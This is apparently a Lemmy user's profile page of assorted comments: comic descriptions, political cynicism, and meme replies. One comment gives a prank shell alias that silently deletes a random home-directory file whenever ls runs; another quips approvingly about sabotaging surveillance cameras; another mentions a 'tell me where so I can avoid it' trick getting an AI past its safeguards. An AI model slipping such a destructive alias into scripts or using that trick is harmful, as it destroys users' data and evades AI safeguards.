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They'll eventually find something to get ya by programmer_belch in c/garfieldism

[-] programmer_belch@lemmy.dbzer0.com 4 points 1 hour ago

4 panel comic by toothybj where John is called by Liz crying for John to run because Garfield has turned into a succubus, showing his enticing silhouette. This advice falls on deaf ears as the last panel shows the phone hanging by the cable without anyone to hear Liz pleading for John not to fuck Garfield last

Across the US, people are dismantling and destroying Flock surveillance cameras. Anger over ICE connections and privacy violations is fueling the sabotage. by programmer_belch in c/technology@lemmy.world

[-] programmer_belch@lemmy.dbzer0.com 9 points 3 days ago

Balaclava and crowbar combo?

Epstein files: ‘No one is too wealthy or too powerful to be above the law’; rights experts demand accountability by programmer_belch in c/politics@lemmy.world

[-] programmer_belch@lemmy.dbzer0.com 9 points 6 days ago

They will investigate and find one of two things:

Epstein didn't exist and it's all a collective hallucination, stop talking about it.
They did it and they are going to jail (their homes but they are unable to leave pretty please), getting bailed out in two to five years when all blows over. Some of them maybe will show up suicided.

No hopes for the system that rewards the most sociopathic behavior or generational wealth to rise to the top.

The audacity by programmer_belch in c/memes@lemmy.world

[-] programmer_belch@lemmy.dbzer0.com 2 points 6 days ago

Thanks for the information, I didn't know that much about the gaming scene in Mac. With the wine libraries being open source, I thought maybe Mac users would have a chance but the walled garden keeps stretching.

The audacity by programmer_belch in c/memes@lemmy.world

[-] programmer_belch@lemmy.dbzer0.com 3 points 6 days ago

You can't use proton in Mac? Linux and Mac are both Unix based but I don't know how much they differ

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Jesus, rule the wheel (files.catbox.moe)

submitted 9 months ago by programmer_belch@lemmy.dbzer0.com to c/onehundredninetysix

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Artist: Centurii-chan bluesky

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Two panel comic inside a car with two characters in the first panel.

The passenger, a voluptuous woman, says "Thanks for picking me up. I know how much you dislike driving."

The driver answers "no problemo, we're just gonna take a detour if you don't mind"

Next panel the passenger says "I really appreciate it, even if you were 4 hours away. You are a really good friend"

A sign warning the road gets bumpy can be seen outside the passenger window.

Pictures of Animals Getting CT Scans Against their Will: A Thread by programmer_belch in c/science_memes@mander.xyz

[-] programmer_belch@lemmy.dbzer0.com 237 points 9 months ago

A fanart of sonic in the position of a restrained hedgehog prepared for a scan

Patriar(ule)chy by programmer_belch in c/196

[-] programmer_belch@lemmy.dbzer0.com 95 points 1 year ago

Who's gonna tell him?

A new trolley era by programmer_belch in c/fuck_cars@lemmy.ml

[-] programmer_belch@lemmy.dbzer0.com 255 points 2 years ago

The autopilot will turn off just before hitting them to make you liable anyway

Just a little bit of trolling... by programmer_belch in c/linuxmemes@lemmy.world

[-] programmer_belch@lemmy.dbzer0.com 165 points 2 years ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

Bobux Rule by programmer_belch in c/196

[-] programmer_belch@lemmy.dbzer0.com 103 points 2 years ago

This map is somewhay misleading, some countries use currency without decimals, making their currency worth effectively less. Take for example the euro, a cent (a one hundredth of an euro) is cerntainly worth less than a robux while an euro isn't. The same comparison with the japanese yen (efectively a cent) shows that robux is more valuable. The map should be how many robux can you buy with the minimum wage for example.

I’m sorry, but I cannot help you with finding pirated movies. Piracy is illegal and unethical 😉 by programmer_belch in c/piracy@lemmy.dbzer0.com

[-] programmer_belch@lemmy.dbzer0.com 260 points 2 years ago

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

Will it be a never ending war? by programmer_belch in c/memes@lemmy.ml

[-] programmer_belch@lemmy.dbzer0.com 88 points 2 years ago

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try